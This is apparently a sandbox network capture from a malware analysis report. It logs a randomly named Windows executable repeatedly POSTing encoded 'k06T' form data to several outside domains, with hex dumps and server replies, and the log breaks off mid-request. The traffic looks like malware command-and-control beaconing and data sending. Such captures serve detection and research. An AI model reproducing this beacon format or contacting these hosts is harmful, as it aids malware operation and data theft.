Jul 3, 2024 16:41:13.938481092 CEST	361	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 03 Jul 2024 14:41:13 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: https://www.siteblogoficialon.com/xti2/ Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49732	108.179.193.98	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:41:15.828269958 CEST	1860	OUT	POST /xti2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.siteblogoficialon.com Origin: http://www.siteblogoficialon.com Referer: http://www.siteblogoficialon.com/xti2/ Content-Length: 1241 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 Data Raw: 6b 30 36 54 3d 64 44 62 64 37 46 49 2b 61 42 75 49 71 6c 73 63 55 30 4d 52 4c 79 4f 75 5a 6c 47 59 77 6a 69 2f 4b 72 37 6b 6d 4d 75 4e 74 61 74 47 52 4c 36 78 72 75 6c 76 42 35 68 38 7a 32 50 76 35 4c 39 39 48 48 78 36 61 2b 75 4f 56 46 55 47 4f 62 46 61 48 4b 56 2f 35 6d 36 34 51 68 44 34 49 6a 35 70 4d 72 73 62 4c 5a 30 67 5a 69 34 54 67 49 41 46 4b 75 6d 4b 6a 51 33 70 6e 42 2b 6f 54 76 6b 59 63 39 61 45 49 72 71 67 46 70 32 69 2b 5a 62 35 4c 49 71 30 43 49 6f 50 56 61 35 73 47 4f 72 6a 6d 62 6e 5a 75 30 4d 6e 73 55 6f 39 33 59 30 71 6d 75 75 73 6b 47 42 52 6d 6e 6b 70 64 39 4c 6c 4e 2f 32 7a 41 64 4a 62 31 61 33 4b 76 32 45 6f 30 4d 55 73 55 54 70 61 77 79 52 52 4e 59 62 4c 69 4b 4e 67 35 51 41 62 6f 31 43 5a 38 62 58 54 68 57 4a 36 4f 54 37 56 6b 41 6b 70 30 63 4e 43 6d 50 69 30 57 4c 70 2b 4c 43 4d 52 42 2f 52 6b 4e 49 48 6a 6e 62 2b 4d 45 50 30 74 66 34 30 4b 36 53 33 5a 4a 69 44 49 4f 69 53 74 4b 48 6b 56 37 66 46 49 37 76 4b 36 7a 2b 48 31 35 33 4c 44 6c 4b 55 77 39 53 44 5a 32 55 72 55 59 [TRUNCATED] Data Ascii: k06T=dDbd7FI+aBuIqlscU0MRLyOuZlGYwji/Kr7kmMuNtatGRL6xrulvB5h8z2Pv5L99HHx6a+uOVFUGObFaHKV/5m64QhD4Ij5pMrsbLZ0gZi4TgIAFKumKjQ3pnB+oTvkYc9aEIrqgFp2i+Zb5LIq0CIoPVa5sGOrjmbnZu0MnsUo93Y0qmuuskGBRmnkpd9LlN/2zAdJb1a3Kv2Eo0MUsUTpawyRRNYbLiKNg5QAbo1CZ8bXThWJ6OT7VkAkp0cNCmPi0WLp+LCMRB/RkNIHjnb+MEP0tf40K6S3ZJiDIOiStKHkV7fFI7vK6z+H153LDlKUw9SDZ2UrUY47XxhshADmT6/Jt1OiT6eacGktSEq0IS9hkckxwM5xSLspJcggFxxYtJWO2xD0+YLDXLM2EzehOqLIrC5x3ELe4SX2O6ATW0md1NEG28VTB04VIHXvK2igqXKCRjRw+/GSlMFQdexjnA68gY6dH/spAsKbiBtUI1+kL2WbtxOOcKc0ILGbUy4jZ/lHS6sOqrppK6VRe/T9J906Wo2Yk1lE911EiK2Eb2WJYajLtpUYPynbou3QOGCdUb9oiEIooV3ex4KFJqw3jdRFzjAz/CXqISzFFDntJ+E6s5OtFlJ0ZWMEyHi2rxKqTWXCOzjrv7fOOO4xEqqiXhdvdTR3hTnerhsP1RRwupHOB2pCDN35PdkizelYA4TGq1GHGurMPRr3lOlTkSzhJOOJRdDPlwqZqCxO2mqeRezvxFTPcfhCA7XXXxhj2ye/MpaoqDOkLr/YXqcka2JTnOPiRJHiuVBy6xiNM/X6cTVlfZJdEV6Pb+Xf04W+83RaMVDSdddYY5C3njqjx1i3jG2c8pu35Ec7q9mh3jTh6mkzk1v8l5u2fDVwBqRLFpC5rxKgifzA32S7PEwUKw2JM6dKZnUbKFpNVLl8yaYLHQBZ+gC7I43HRMj98rsSFg7REqL6XRy9+2l5kOTx9TN9sVlEXM8xq0Z1+aWsNbJgpumH [TRUNCATED]
Jul 3, 2024 16:41:16.468796968 CEST	361	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 03 Jul 2024 14:41:16 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: https://www.siteblogoficialon.com/xti2/ Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49733	108.179.193.98	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:41:18.356312990 CEST	553	OUT	GET /xti2/?k06T=QBz94yBRYCLuyG0lRWVoJ262XBKS6lrDLuuKlraC8+h4eo3ZkplyB9kY6zupybd5FXB5boaSfX9kd7InJ4l2/UGXXDPdESA3G681NsEYfip50N0NMaShmTLM2x7hQcZfKg==&rz=LZsl-bkp-XfXeRLp HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.siteblogoficialon.com Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
Jul 3, 2024 16:41:19.225675106 CEST	519	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 03 Jul 2024 14:41:18 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: https://www.siteblogoficialon.com/xti2/?k06T=QBz94yBRYCLuyG0lRWVoJ262XBKS6lrDLuuKlraC8+h4eo3ZkplyB9kY6zupybd5FXB5boaSfX9kd7InJ4l2/UGXXDPdESA3G681NsEYfip50N0NMaShmTLM2x7hQcZfKg==&rz=LZsl-bkp-XfXeRLp Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49734	35.241.34.216	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:41:40.894341946 CEST	790	OUT	POST /7npk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.mg55aa.xyz Origin: http://www.mg55aa.xyz Referer: http://www.mg55aa.xyz/7npk/ Content-Length: 205 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 Data Raw: 6b 30 36 54 3d 36 6e 4a 46 42 55 6e 39 4e 65 33 4f 32 6c 63 31 37 7a 79 50 34 55 5a 66 67 68 59 64 56 38 51 4c 45 54 61 71 65 35 67 48 61 51 4b 52 54 6d 73 76 37 5a 35 32 38 6f 31 39 33 67 4a 53 43 45 56 6d 6b 6f 4c 5a 2f 77 68 55 41 32 49 65 6a 6c 42 61 35 70 49 69 46 59 7a 62 68 45 42 2f 35 72 53 66 51 67 44 4f 5a 56 6c 66 68 35 6f 39 69 6e 42 45 77 4e 30 38 30 7a 6e 52 6e 45 4e 53 69 52 45 59 78 77 30 52 53 6f 5a 59 51 41 6f 36 42 43 74 58 45 2f 59 38 4d 43 47 4c 69 6c 70 42 56 74 38 6e 6b 6e 69 4e 45 73 37 4f 6b 6e 32 4b 4b 44 69 39 38 53 6a 46 5a 4b 67 48 53 2b 72 6b 53 62 57 64 4e 44 43 66 76 32 6b 3d Data Ascii: k06T=6nJFBUn9Ne3O2lc17zyP4UZfghYdV8QLETaqe5gHaQKRTmsv7Z528o193gJSCEVmkoLZ/whUA2IejlBa5pIiFYzbhEB/5rSfQgDOZVlfh5o9inBEwN080znRnENSiREYxw0RSoZYQAo6BCtXE/Y8MCGLilpBVt8nkniNEs7Okn2KKDi98SjFZKgHS+rkSbWdNDCfv2k=
Jul 3, 2024 16:41:41.533133030 CEST	176	IN	HTTP/1.1 405 Method Not Allowed Server: nginx/1.20.2 Date: Wed, 03 Jul 2024 14:41:41 GMT Content-Type: text/html Content-Length: 157 Via: 1.1 google Connection: close
Jul 3, 2024 16:41:41.535643101 CEST	157	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49735	35.241.34.216	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:41:43.452306032 CEST	810	OUT	POST /7npk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.mg55aa.xyz Origin: http://www.mg55aa.xyz Referer: http://www.mg55aa.xyz/7npk/ Content-Length: 225 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 Data Raw: 6b 30 36 54 3d 36 6e 4a 46 42 55 6e 39 4e 65 33 4f 33 46 4d 31 35 55 75 50 36 30 5a 63 6c 68 59 64 50 4d 51 50 45 54 65 71 65 38 5a 59 5a 69 2b 52 55 43 6f 76 36 59 35 32 39 6f 31 39 39 41 4a 74 66 55 56 39 6b 6f 58 72 2f 30 68 55 41 32 63 65 6a 67 39 61 35 61 77 68 45 49 7a 56 36 55 42 35 6b 37 53 66 51 67 44 4f 5a 56 78 35 68 34 41 39 6a 58 52 45 33 5a 41 2f 2b 54 6e 4f 75 6b 4e 53 6d 52 45 63 78 77 30 76 53 70 46 32 51 43 67 36 42 48 52 58 45 72 30 6a 47 43 47 4e 2f 31 6f 41 51 74 70 52 70 46 71 36 50 61 75 58 78 46 71 2f 43 56 50 58 6d 77 72 74 4b 71 4d 2f 43 74 6a 54 44 72 33 30 58 67 53 76 78 68 7a 44 79 74 75 56 59 73 55 50 48 61 45 52 56 6f 72 62 71 59 59 6f Data Ascii: k06T=6nJFBUn9Ne3O3FM15UuP60ZclhYdPMQPETeqe8ZYZi+RUCov6Y529o199AJtfUV9koXr/0hUA2cejg9a5awhEIzV6UB5k7SfQgDOZVx5h4A9jXRE3ZA/+TnOukNSmREcxw0vSpF2QCg6BHRXEr0jGCGN/1oAQtpRpFq6PauXxFq/CVPXmwrtKqM/CtjTDr30XgSvxhzDytuVYsUPHaERVorbqYYo
Jul 3, 2024 16:41:44.097403049 CEST	176	IN	HTTP/1.1 405 Method Not Allowed Server: nginx/1.20.2 Date: Wed, 03 Jul 2024 14:41:43 GMT Content-Type: text/html Content-Length: 157 Via: 1.1 google Connection: close
Jul 3, 2024 16:41:44.099843979 CEST	157	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49736	35.241.34.216	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:41:45.986387014 CEST	1827	OUT	POST /7npk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.mg55aa.xyz Origin: http://www.mg55aa.xyz Referer: http://www.mg55aa.xyz/7npk/ Content-Length: 1241 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 Data Raw: 6b 30 36 54 3d 36 6e 4a 46 42 55 6e 39 4e 65 33 4f 33 46 4d 31 35 55 75 50 36 30 5a 63 6c 68 59 64 50 4d 51 50 45 54 65 71 65 38 5a 59 5a 69 6d 52 54 78 67 76 37 37 68 32 76 34 31 39 6a 51 4a 73 66 55 55 6e 6b 6f 66 56 2f 31 63 68 41 79 73 65 67 47 70 61 6f 62 77 68 4f 49 7a 56 6c 45 42 38 35 72 53 4f 51 67 54 77 5a 56 68 35 68 34 41 39 6a 52 39 45 68 64 30 2f 74 44 6e 52 6e 45 4e 4f 69 52 45 34 78 77 73 5a 53 70 42 49 51 7a 41 36 42 6d 68 58 43 59 4d 6a 46 69 47 50 38 31 70 54 51 74 31 43 70 42 79 4d 50 61 79 39 78 48 71 2f 54 54 69 57 79 6a 65 79 49 37 6b 6c 4a 2f 76 42 55 76 6a 75 63 7a 76 59 36 41 62 5a 75 5a 36 72 58 4b 51 66 46 70 46 63 4f 65 57 4e 6b 74 70 6f 44 53 79 54 36 35 56 74 33 36 50 53 71 6f 6c 54 53 4d 49 76 41 45 56 50 63 47 2f 4f 6a 73 2f 31 6c 43 62 64 41 4d 44 47 31 75 36 32 79 65 4b 50 35 4f 2b 4b 4b 52 70 2f 62 4c 42 75 42 64 79 61 72 52 52 72 71 6b 64 4a 66 72 34 38 6c 42 73 36 68 45 43 4c 41 30 56 72 36 76 2b 7a 51 61 7a 30 70 54 69 74 5a 54 64 69 63 78 41 79 69 46 61 56 78 [TRUNCATED] Data Ascii: k06T=6nJFBUn9Ne3O3FM15UuP60ZclhYdPMQPETeqe8ZYZimRTxgv77h2v419jQJsfUUnkofV/1chAysegGpaobwhOIzVlEB85rSOQgTwZVh5h4A9jR9Ehd0/tDnRnENOiRE4xwsZSpBIQzA6BmhXCYMjFiGP81pTQt1CpByMPay9xHq/TTiWyjeyI7klJ/vBUvjuczvY6AbZuZ6rXKQfFpFcOeWNktpoDSyT65Vt36PSqolTSMIvAEVPcG/Ojs/1lCbdAMDG1u62yeKP5O+KKRp/bLBuBdyarRRrqkdJfr48lBs6hECLA0Vr6v+zQaz0pTitZTdicxAyiFaVxPv/T12QB7MK3ZTWRyM01clXqlQ9pHnsxxBv9DNDVfh0cfbnDk+57NNKEA4AXpeljY1AsRHeGsqWZuvytNPaCmOz7UUPe2WHlJkIzy7Zqq4ym0qPE9OCuaqoM3FeHS0zt4DpVG7ZJ7Q66ITHaqWk1dI/5oVu4CzKgx16gqaB4ZTrNh569GHhuH4UQDF9D5gUFm/AToq0ijwIKSadZADmEg9u/+5LFB+/gUr0b0hDhSIC+3kvL8lHGAZq54bmhGDSqCjCWe0iJi4HpES2dE7y3ExiiSczSRBzqr2V6z5QUxPbjFQVYjGm0BaX01x7kJc4ddg06rSex3rimIxVA1c3cMal136gpMhMadSl03YzgjelNtI2LJoiT8eCslKOzBRqgMmXbiD4rLJbKLkQxm+Dm0g4ENEVuhifuqeTUa+gvlKcyvLh10W+0RqVSv24aw0t9Gsvg7FFApkiNr2KzMicE/io/9TyQYZQIYaxK8XX2hpI6i9AqhiNPOE/LX/clt3Wy7ywrmlHUKttKTdu1ibjwORLOONzS9sU0sUccQ3qk8dm8lqnPjKBSQ8180u9Zym8XW+7AU17inLkzICtGpR3rOxlSYtWn+5vr9/XOlCKfso5mvfXiYm9JoB9kTZnIp9y1jZl0Tl0orANdAYuOUWUlOdPB4lRv/YGjEt [TRUNCATED]
Jul 3, 2024 16:41:46.698823929 CEST	176	IN	HTTP/1.1 405 Method Not Allowed Server: nginx/1.20.2 Date: Wed, 03 Jul 2024 14:41:46 GMT Content-Type: text/html Content-Length: 157 Via: 1.1 google Connection: close
Jul 3, 2024 16:41:46.702044010 CEST	157	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49737	35.241.34.216	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:41:48.696413040 CEST	542	OUT	GET /7npk/?rz=LZsl-bkp-XfXeRLp&k06T=3lhlChS8FYnXqyMl6DrMwk16pFUOD90SHj/DecBTIjGSaQxy34ZC87B+/wA+Ty9En/TQ2WIUU2NJwAlG0p0MOprHpEJhuLS8Xg3IfDdoqaVi1Ch1kdwH1TvR7mgJgyRVyQ== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.mg55aa.xyz Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
Jul 3, 2024 16:41:49.340217113 CEST	300	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Wed, 03 Jul 2024 14:41:49 GMT Content-Type: text/html Content-Length: 5161 Last-Modified: Mon, 15 Jan 2024 02:08:28 GMT Vary: Accept-Encoding ETag: "65a4939c-1429" Cache-Control: no-cache Accept-Ranges: bytes Via: 1.1 google Connection: close
Jul 3, 2024 16:41:49.355428934 CEST	1236	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 7a 68 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 Data Ascii: <!doctype html><html lang="zh"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"><script src="https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js" crossorigin="true
Jul 3, 2024 16:41:49.355463982 CEST	1236	IN	Data Raw: 77 20 49 6d 61 67 65 29 2e 73 72 63 3d 6e 7d 66 75 6e 63 74 69 6f 6e 20 72 65 70 6f 72 74 4c 6f 61 64 69 6e 67 28 6e 29 7b 6e 3d 6e 7c 7c 7b 7d 3b 76 61 72 20 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 6e 3d 28 77 69 6e 64 6f Data Ascii: w Image).src=n}function reportLoading(n){n=n\|\|{};var o=function(){for(var n=(window.location.search.substr(1)\|\|"").split("&"),o={},e=0;e<n.length;e++){var r=n[e].split("=");o[r[0]]=r[1]}return function(){return o}}();function e(){var n=window.
Jul 3, 2024 16:41:49.355475903 CEST	1236	IN	Data Raw: 74 72 3d 64 73 66 72 70 66 76 65 64 6e 63 70 73 73 6e 74 6e 77 62 69 70 72 65 69 6d 65 75 74 73 76 22 29 3b 28 65 28 29 7c 7c 72 28 29 29 26 26 22 61 6e 64 72 6f 69 64 22 3d 3d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 77 69 6e 64 6f Data Ascii: tr=dsfrpfvedncpssntnwbipreimeutsv");(e()\|\|r())&&"android"===function(){var n=window.navigator.userAgent.toLowerCase();return window.ucweb?"android":n.match(/ios/i)\|\|n.match(/ipad/i)\|\|n.match(/iphone/i)?"iphone":n.match(/android/i)\|\|n.match(/ap
Jul 3, 2024 16:41:49.355667114 CEST	1236	IN	Data Raw: 28 22 73 72 63 22 2c 22 2f 2f 69 6d 61 67 65 2e 75 63 2e 63 6e 2f 73 2f 75 61 65 2f 67 2f 30 31 2f 77 65 6c 66 61 72 65 61 67 65 6e 63 79 2f 76 63 6f 6e 73 6f 6c 65 2e 6d 69 6e 2d 33 2e 33 2e 30 2e 6a 73 22 29 2c 24 68 65 61 64 2e 69 6e 73 65 72 Data Ascii: ("src","//image.uc.cn/s/uae/g/01/welfareagency/vconsole.min-3.3.0.js"),$head.insertBefore($script1,$head.lastChild),$script1.onload=function(){var e=document.createElement("script");e.setAttribute("crossorigin","anonymous"),e.setAttribute("src
Jul 3, 2024 16:41:49.355676889 CEST	217	IN	Data Raw: e6 b2 a1 e6 9c 89 e5 b9 bf e5 91 8a 3c 2f 64 69 76 3e 3c 64 69 76 3e e7 94 b5 e5 bd b1 e6 92 ad e6 94 be e4 b8 8d e5 8d a1 e9 a1 bf 3c 2f 64 69 76 3e 3c 64 69 76 3e e7 b2 be e5 bd a9 e8 a7 86 e9 a2 91 e5 ad 98 e5 85 a5 e7 bd 91 e7 9b 98 e9 9a 8f Data Ascii: </div><div></div><div></div></div><script src="https://image.uc.cn/s/uae/g/3o/berg/static/archer_index.e96dc6dc6863835f4ad0.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49738	74.208.46.171	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:41:54.409286022 CEST	817	OUT	POST /i1fz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.lavillitadepapa.com Origin: http://www.lavillitadepapa.com Referer: http://www.lavillitadepapa.com/i1fz/ Content-Length: 205 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 Data Raw: 6b 30 36 54 3d 33 2f 57 62 31 4b 6d 6b 64 57 68 41 5a 49 52 32 74 4f 6b 6d 62 53 55 68 52 63 66 54 63 33 61 66 41 32 61 43 69 5a 58 4c 57 32 43 52 6b 49 32 6c 45 31 42 36 2f 53 62 2b 7a 41 41 52 53 50 37 67 54 74 66 38 4e 55 6e 69 67 4e 39 55 7a 7a 48 4d 6b 68 69 50 34 47 2f 62 70 37 62 32 6b 39 6a 75 4f 30 4c 69 46 33 47 44 53 30 48 77 4f 48 50 50 33 69 5a 31 46 66 33 7a 74 6f 57 4a 77 63 2f 70 70 61 37 30 4e 39 48 71 53 68 42 51 57 46 2f 48 43 30 53 55 47 4b 65 52 2b 52 64 6f 74 69 76 49 41 43 55 49 6e 5a 31 48 70 33 77 62 47 4d 49 70 4f 2b 7a 33 70 5a 56 6c 55 53 44 57 68 4c 33 74 79 36 47 7a 6a 45 4d 3d Data Ascii: k06T=3/Wb1KmkdWhAZIR2tOkmbSUhRcfTc3afA2aCiZXLW2CRkI2lE1B6/Sb+zAARSP7gTtf8NUnigN9UzzHMkhiP4G/bp7b2k9juO0LiF3GDS0HwOHPP3iZ1Ff3ztoWJwc/ppa70N9HqShBQWF/HC0SUGKeR+RdotivIACUInZ1Hp3wbGMIpO+z3pZVlUSDWhL3ty6GzjEM=
Jul 3, 2024 16:41:54.940505028 CEST	466	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 03 Jul 2024 14:41:54 GMT Server: Apache Location: https://www.lavillitadepapa.com/i1fz/ Content-Length: 245 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 61 76 69 6c 6c 69 74 61 64 65 70 61 70 61 2e 63 6f 6d 2f 69 31 66 7a 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.lavillitadepapa.com/i1fz/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49739	74.208.46.171	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:41:56.950323105 CEST	837	OUT	POST /i1fz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.lavillitadepapa.com Origin: http://www.lavillitadepapa.com Referer: http://www.lavillitadepapa.com/i1fz/ Content-Length: 225 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 Data Raw: 6b 30 36 54 3d 33 2f 57 62 31 4b 6d 6b 64 57 68 41 57 49 42 32 76 74 38 6d 54 53 55 6d 64 38 66 54 54 58 61 62 41 32 57 43 69 59 69 4d 57 6a 61 52 6b 6f 6d 6c 44 30 42 36 34 53 62 2b 39 67 41 